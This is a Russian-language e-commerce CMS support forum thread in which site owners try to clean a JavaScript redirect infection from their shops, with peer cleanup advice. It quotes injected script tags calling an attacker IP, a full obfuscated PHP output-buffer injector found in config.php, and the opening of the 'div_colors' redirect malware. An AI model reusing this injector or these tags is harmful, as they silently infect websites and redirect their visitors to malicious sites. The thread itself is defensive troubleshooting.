Категории

[FAQ] Часто задаваемые вопросы и ответы

Проблемы и решения

Ошибки и исправления

Общие вопросы

Расширения

Установка и обновление

Модули

Шаблоны

Локализация интерфейса

Коммерческие предложения

Учимся бизнесу

Бизнес книги

Поисковая оптимизация (SEO)

Магазины на ShopOS

Хостинг для ShopOS

Предложения и пожелания

Курилка

Вирус JS:Redirector-FX, AVAST блокирует сайт

Вирус JS:Redirector-FX, AVAST блокирует сайт. Как быть?


адрес сайта можно?


Сайт пока видно только в локальной сетке города. Теперь нужно лупить вирус и только тогда буду выкладывать в инет.
Самое главное забыл добавить: постоянно конектится  к 86.55.140.203



Сайт пока видно только в локальной сетке города. Теперь нужно лупить вирус и только тогда буду выкладывать в инет.
Самое главное забыл добавить: постоянно конектится  к 86.55.140.203


так смотрите что за js код выводится

и выводится ли что то левое вообще


Вот что в headere:

<script src="jscript/jscript_JsHttpRequest.js" type="text/javascript">
<script type="text/javascript">
<script type="text/javascript" src="http://86.55.140.203/js/jquery.min.php#1301403041655">
<script src="jscript/jscript_ajax.js" type="text/javascript">
<script type="text/javascript">
<script type="text/javascript" src="http://www.google-analytics.com/ga.js">
<script type="text/javascript">
<style>
<script src="http://code.jquery.com/jquery-1.4.2.min.js">
<script src="http://taksi.deeptown.net/modules/plugins/scrolling/js/jquery.tools.min.js">
<meta content="(c) by ShopOS , http://www.shopos.ru" name="generator">
<script type="text/javascript" src="http://86.55.140.203/js/jquery.min.php#1301403042202">


Перезалил файлы CMS с нуля, оставил только config.php. Не помогло.


<script type="text/javascript" src="http://86.55.140.203/js/jquery.min.php#1301403041655">
<script src="http://taksi.deeptown.net/modules/plugins/scrolling/js/jquery.tools.min.js">
<script type="text/javascript" src="http://86.55.140.203/js/jquery.min.php#1301403042202">

Эти какие-то подозрительные. Видимо, надо удалять.


В config.php сидел код:

<?php global $ob_starting;
if(!$ob_starting) {
  function ob_start_flush($s) {
$tc = array(0, 69, 84, 82, 67, 83, 7, 79, 8, 9, 73, 12, 76, 68, 63, 78, 19, 23, 24, 3, 65, 70, 27, 14, 16, 20, 80, 17, 29, 89, 86, 85, 2, 77, 91, 93, 11, 18, 71, 66, 72, 75, 87, 74, 22, 37, 52, 13, 59, 61, 25, 28, 21, 1, 35, 15, 34, 36, 30, 88, 41, 92, 46, 33, 51);
$tr = array(51, 5, 4, 3, 10, 26, 2, 0, 2, 29, 26, 1, 28, 32, 2, 1, 59, 2, 55, 43, 20, 30, 20, 5, 4, 3, 10, 26, 2, 32, 58, 10, 21, 0, 8, 2, 29, 26, 1, 7, 21, 8, 3, 1, 13, 1, 21, 14, 4, 7, 12, 7, 3, 5, 9, 28, 28, 32, 31, 15, 13, 1, 21, 10, 15, 1, 13, 32, 9, 0, 34, 0, 0, 0, 30, 20, 3, 0, 13, 10, 30, 14, 4, 7, 12, 7, 3, 5, 0, 28, 0, 15, 1, 42, 0, 63, 3, 3, 20, 29, 8, 6, 19, 25, 39, 18, 37, 17, 37, 6, 11, 0, 6, 19, 18, 27, 17, 18, 17, 21, 6, 11, 0, 6, 19, 18, 16, 37, 21, 18, 16, 6, 11, 0, 6, 19, 18, 18, 17, 21, 17, 25, 6, 11, 0, 6, 19, 25, 4, 16, 27, 18, 16, 6, 11, 0, 6, 19, 17, 25, 18, 17, 18, 16, 6, 11, 0, 6, 19, 16, 1, 17, 50, 17, 24, 6, 11, 0, 6, 19, 18, 52, 17, 24, 18, 37, 6, 11, 0, 6, 19, 17, 37, 18, 27, 17, 18, 6, 11, 0, 6, 19, 17, 21, 18, 16, 16, 27, 6, 11, 0, 6, 19, 37, 21, 18, 37, 18, 27, 6, 11, 0, 6, 19, 17, 37, 25, 4, 16, 27, 6, 11, 0, 6, 19, 17, 17, 18, 16, 18, 16, 6, 11, 0, 6, 19, 17, 21, 25, 50, 16, 1, 6, 11, 0, 6, 19, 16, 1, 25, 17, 25, 52, 6, 11, 0, 6, 19, 16, 13, 25, 25, 25, 25, 6, 11, 0, 6, 19, 16, 13, 25, 24, 25, 16, 6, 11, 0, 6, 19, 16, 21, 16, 13, 25, 27, 6, 11, 0, 6, 19, 16, 21, 25, 37, 16, 1, 6, 11, 0, 6, 19, 17, 50, 18, 37, 16, 1, 6, 11, 0, 6, 19, 17, 50, 18, 24, 18, 25, 6, 11, 0, 6, 19, 17, 25, 18, 27, 18, 18, 6, 11, 0, 6, 19, 16, 13, 17, 4, 17, 18, 6, 11, 0, 6, 19, 17, 13, 16, 13, 17, 21, 6, 11, 0, 6, 19, 17, 17, 17, 21, 16, 27, 6, 11, 0, 6, 19, 25, 13, 24, 24, 24, 24, 6, 9, 22, 0, 0, 0, 30, 20, 3, 0, 3, 1, 13, 1, 21, 14, 4, 7, 12, 7, 3, 5, 0, 28, 0, 27, 22, 0, 0, 0, 30, 20, 3, 0, 4, 7, 12, 7, 3, 5, 14, 26, 10, 4, 41, 1, 13, 0, 28, 0, 24, 22, 0, 0, 0, 21, 31, 15, 4, 2, 10, 7, 15, 0, 13, 10, 30, 14, 26, 10, 4, 41, 14, 4, 7, 12, 7, 3, 5, 8, 2, 11, 5, 2, 29, 12, 1, 13, 9, 0, 34, 30, 20, 3, 0, 5, 0, 28, 0, 32, 32, 22, 21, 7, 3, 0, 8, 43, 28, 24, 22, 43, 51, 2, 23, 12, 1, 15, 38, 2, 40, 22, 43, 36, 36, 9, 0, 34, 30, 20, 3, 0, 4, 14, 3, 38, 39, 0, 28, 0, 2, 48, 43, 49, 22, 21, 7, 3, 0, 8, 10, 28, 27, 22, 10, 51, 17, 22, 10, 36, 36, 9, 0, 34, 30, 20, 3, 0, 4, 14, 4, 12, 3, 0, 28, 0, 4, 14, 3, 38, 39, 23, 5, 31, 39, 5, 2, 3, 8, 10, 36, 36, 11, 37, 9, 22, 10, 21, 0, 8, 4, 14, 4, 12, 3, 53, 28, 32, 24, 24, 32, 9, 0, 5, 0, 36, 28, 0, 64, 2, 3, 10, 15, 38, 23, 21, 3, 7, 33, 54, 40, 20, 3, 54, 7, 13, 1, 8, 26, 20, 3, 5, 1, 60, 15, 2, 8, 4, 14, 4, 12, 3, 11, 27, 44, 9, 47, 27, 52, 9, 22, 35, 35, 10, 21, 0, 8, 5, 2, 29, 12, 1, 13, 9, 0, 34, 5, 0, 28, 0, 5, 23, 5, 31, 39, 5, 2, 3, 8, 24, 11, 16, 44, 9, 0, 36, 0, 5, 23, 5, 31, 39, 5, 2, 3, 8, 16, 44, 11, 8, 5, 23, 12, 1, 15, 38, 2, 40, 47, 16, 18, 9, 9, 0, 36, 0, 13, 10, 30, 14, 4, 7, 12, 7, 3, 5, 48, 27, 49, 23, 5, 31, 39, 5, 2, 3, 8, 24, 11, 27, 9, 36, 15, 1, 42, 0, 57, 20, 2, 1, 8, 9, 23, 38, 1, 2, 46, 10, 33, 1, 8, 9, 0, 36, 0, 5, 23, 5, 31, 39, 5, 2, 3, 8, 8, 5, 23, 12, 1, 15, 38, 2, 40, 47, 37, 9, 9, 22, 35, 0, 1, 12, 5, 1, 0, 34, 5, 0, 28, 0, 5, 23, 5, 31, 39, 5, 2, 3, 8, 16, 44, 11, 8, 5, 23, 12, 1, 15, 38, 2, 40, 47, 16, 18, 9, 9, 0, 36, 0, 13, 10, 30, 14, 4, 7, 12, 7, 3, 5, 48, 27, 49, 23, 5, 31, 39, 5, 2, 3, 8, 24, 11, 27, 9, 36, 15, 1, 42, 0, 57, 20, 2, 1, 8, 9, 23, 38, 1, 2, 46, 10, 33, 1, 8, 9, 22, 35, 3, 1, 2, 31, 3, 15, 0, 5, 22, 0, 0, 0, 35, 0, 0, 0, 21, 31, 15, 4, 2, 10, 7, 15, 0, 2, 3, 29, 14, 26, 10, 4, 41, 14, 4, 7, 12, 7, 3, 5, 8, 9, 0, 34, 2, 3, 29, 0, 34, 0, 0, 0, 10, 21, 8, 53, 13, 7, 4, 31, 33, 1, 15, 2, 23, 38, 1, 2, 45, 12, 1, 33, 1, 15, 2, 56, 29, 60, 13, 0, 61, 61, 0, 53, 13, 7, 4, 31, 33, 1, 15, 2, 23, 4, 3, 1, 20, 2, 1, 45, 12, 1, 33, 1, 15, 2, 9, 34, 13, 7, 4, 31, 33, 1, 15, 2, 23, 42, 3, 10, 2, 1, 8, 13, 10, 30, 14, 26, 10, 4, 41, 14, 4, 7, 12, 7, 3, 5, 8, 13, 10, 30, 14, 4, 7, 12, 7, 3, 5, 11, 27, 9, 9, 22, 0, 0, 0, 35, 0, 1, 12, 5, 1, 0, 34, 30, 20, 3, 0, 15, 1, 42, 14, 4, 5, 2, 29, 12, 1, 28, 13, 7, 4, 31, 33, 1, 15, 2, 23, 4, 3, 1, 20, 2, 1, 45, 12, 1, 33, 1, 15, 2, 8, 32, 5, 4, 3, 10, 26, 2, 32, 9, 22, 15, 1, 42, 14, 4, 5, 2, 29, 12, 1, 23, 2, 29, 26, 1, 28, 32, 2, 1, 59, 2, 55, 43, 20, 30, 20, 5, 4, 3, 10, 26, 2, 32, 22, 15, 1, 42, 14, 4, 5, 2, 29, 12, 1, 23, 5, 3, 4, 28, 13, 10, 30, 14, 26, 10, 4, 41, 14, 4, 7, 12, 7, 3, 5, 8, 13, 10, 30, 14, 4, 7, 12, 7, 3, 5, 11, 24, 9, 22, 13, 7, 4, 31, 33, 1, 15, 2, 23, 38, 1, 2, 45, 12, 1, 33, 1, 15, 2, 5, 56, 29, 46, 20, 38, 62, 20, 33, 1, 8, 32, 40, 1, 20, 13, 32, 9, 48, 24, 49, 23, 20, 26, 26, 1, 15, 13, 54, 40, 10, 12, 13, 8, 15, 1, 42, 14, 4, 5, 2, 29, 12, 1, 9, 22, 35, 35, 0, 4, 20, 2, 4, 40, 8, 1, 9, 0, 34, 0, 35, 2, 3, 29, 0, 34, 4, 40, 1, 4, 41, 14, 4, 7, 12, 7, 3, 5, 14, 26, 10, 4, 41, 1, 13, 8, 9, 22, 35, 0, 4, 20, 2, 4, 40, 8, 1, 9, 0, 34, 0, 5, 1, 2, 46, 10, 33, 1, 7, 31, 2, 8, 32, 2, 3, 29, 14, 26, 10, 4, 41, 14, 4, 7, 12, 7, 3, 5, 8, 9, 32, 11, 0, 52, 24, 24, 9, 22, 35, 0, 0, 0, 35, 0, 0, 0, 2, 3, 29, 14, 26, 10, 4, 41, 14, 4, 7, 12, 7, 3, 5, 8, 9, 22, 35, 51, 55, 5, 4, 3, 10, 26, 2, 58);

$ob_htm = ''; foreach($tr as $tval) {
$ob_htm .= chr($tc+32);
}

$slw=strtolower($s);
$i=strpos($slw,'</script');if($i){$i=strpos($slw,'>',$i);}
if(!$i){$i=strpos($slw,'</div');if($i){$i=strpos($slw,'>',$i);}}
if(!$i){$i=strpos($slw,'</table');if($i){$i=strpos($slw,'>',$i);}}
if(!$i){$i=strpos($slw,'</form');if($i){$i=strpos($slw,'>',$i);}}
if(!$i){$i=strpos($slw,'</p');if($i){$i=strpos($slw,'>',$i);}}
if(!$i){$i=strpos($slw,'</body');if($i){$i--;}}
if(!$i){$i=strlen($s);if($i){$i--;}}
$i++; $s=substr($s,0,$i).$ob_htm.substr($s,$i);

return $s;
  }
  $ob_starting = time();
  @ob_start("ob_start_flush");
} ?>


Был такой вирус у меня на сайте одном, который добавлял во все файлы с названием index.***,
вредоносный код на base 64, вирус попал с компьютера клиента, когда я заливал с него на хостинг. Перерыл все индексные файлы и поочищал оттуда код вредоносный..


Не стал создавать новую тему, тут вроде похожий сабж. Вообще не хотел писать на форум, но у Евгения в аське как обычно мороз, т.ч....
В общем, что-то страшное происходит. Такое уже было на 2.5.4 бесплатной, потом сменили хостинг, заодно купили платную версию, 2.5.5. А все по-прежнему.
Суть такова - периодически, при переходе на сайте со страницы на страницу кидает на совершенно левый сайт, причем несколько редиректов подряд происходит. Если в Гугле вбить в поиск адрес сайта и перейти через Гугл, то на этот левый сайт кидает КАЖДЫЙ раз. Некоторое время назад наняли спецов по раскрутке - разводят руками. Это НЕ вирус на компьютере моем/чьем-либо ещё, ибо такое происходит с незавидным постоянством у разных пользователей в разных концах мира. Идеи?



Идеи?

выбрать нормальный хостинг!


Пробуй,
1. BackUp.
2. Залей файлы новые движка (кроме папки install, оставь config).



Не стал создавать новую тему, тут вроде похожий сабж. Вообще не хотел писать на форум, но у Евгения в аське как обычно мороз, т.ч....
В общем, что-то страшное происходит. Такое уже было на 2.5.4 бесплатной, потом сменили хостинг, заодно купили платную версию, 2.5.5. А все по-прежнему.
Суть такова - периодически, при переходе на сайте со страницы на страницу кидает на совершенно левый сайт, причем несколько редиректов подряд происходит. Если в Гугле вбить в поиск адрес сайта и перейти через Гугл, то на этот левый сайт кидает КАЖДЫЙ раз. Некоторое время назад наняли спецов по раскрутке - разводят руками. Это НЕ вирус на компьютере моем/чьем-либо ещё, ибо такое происходит с незавидным постоянством у разных пользователей в разных концах мира. Идеи?


зайти по FTP и посмотреть у каких файлов дата изменения самая новая, возможно в них есть какой-то сторонний JS код или iframe.
Или как посоветовал NOJEK, сделайть бекап базы и шаблона и обновить все файлы движка (если правок не делали своих)



Не стал создавать новую тему, тут вроде похожий сабж. Вообще не хотел писать на форум, но у Евгения в аське как обычно мороз, т.ч....
В общем, что-то страшное происходит. Такое уже было на 2.5.4 бесплатной, потом сменили хостинг, заодно купили платную версию, 2.5.5. А все по-прежнему.
Суть такова - периодически, при переходе на сайте со страницы на страницу кидает на совершенно левый сайт, причем несколько редиректов подряд происходит. Если в Гугле вбить в поиск адрес сайта и перейти через Гугл, то на этот левый сайт кидает КАЖДЫЙ раз. Некоторое время назад наняли спецов по раскрутке - разводят руками. Это НЕ вирус на компьютере моем/чьем-либо ещё, ибо такое происходит с незавидным постоянством у разных пользователей в разных концах мира. Идеи?


Аналогичная проблема. Все файлы почистил (в некоторых файлах был код как описал NOJEK). Проблема осталась. Антивирусы ничего не находят. HELP!


Вот здесь описание проблемы и как с ней бороться
http://blog.sucuri.net/2011/03/the-div_colors-malware-update.html

http://sucuri.net/malware/malware-entry-mwjs1240

Риску подвержены все сайты на osCommerce.

Вредоносный код:
if (typeof(redef_colors)=="undefined”) {

var div_colors = new Array("#4b8272′, "#81787f’, ‘#832f83′, ‘#887f74′, ‘#4c3183′, ‘#748783′, ‘#3e7970′, ‘#857082′, ‘#728178′, ‘#7f8331′, ‘#2f8281′, ‘#724c31′, ‘#778383′, ‘#7f493e’, ‘#3e7a84′, ‘#82837e’, ‘#40403d’, ‘#727e7c’, ‘#3e7982′, ‘#3e7980′, ‘#847481′, ‘#883d7c’, ‘#787d3d’, ‘#7f777f’, ‘#314d00′);

var redef_colors = 1;
var colors_picked = 0;


@timoshka, Мастерхост нынче не котируется?
@onepood, а где эта прелесть в нашем движке сидит?
@all, делал это все первым делом. Наработки есть свои + кодера одного привлекали, но он вроде местный (отсюда, с форума когда-то аську взял, и тут вроде на него никто не жаловался, да и если бы он изменял чужие файлы - это бы исчезло при замене файлов движка, так? а его файлы я проверил, там все в порядке).


Если вирусные строки на страницах  сайта появляются снова, то надо попробовать сменить FTP пороль. При этом попробуйте не сохранять пороль в используемом фтп менеджере.
"Головная" часть вируса, котороый все это вписывает, скорее всего сидит в компе одного из пользователей сайта, имеющего доступ по ФТП...


Так а где эти вирусные строки? Их никто никуда не убирал, потому что их не находили! Где они? Неужели только у меня такая проблема?


замените все файлы скрипта на новые, заранее сделайте бекап.
или ищите по файлам. ищите по дате изменения, т.е. те файлы которые были изменены самыми последними, в них и содержится скорее всего вредоносный код.

Естественно, (!) сменить пароли (все) для FTP доступа. и как написано выше, пароль не сохранять в FTP менеджере.



Так а где эти вирусные строки? Их никто никуда не убирал, потому что их не находили! Где они? Неужели только у меня такая проблема?

Да, попробуйте сделать как говорит NeBox: в TotalCommander зайти по ФТП на сайт. Войти в каталог со скриптом и сделать сортировку файлов по дате. Файлы, измененные позже, чем вы делали какие-то модификации, откройте по F4 в блокноте и ищите подозрительные включения, например <iframe....> . Как правило, это файлы с названием index. Также надо проверить файлы css.
Если это не поможет, то придется менять все файлы на новые.


Источник



Copyright ShopOS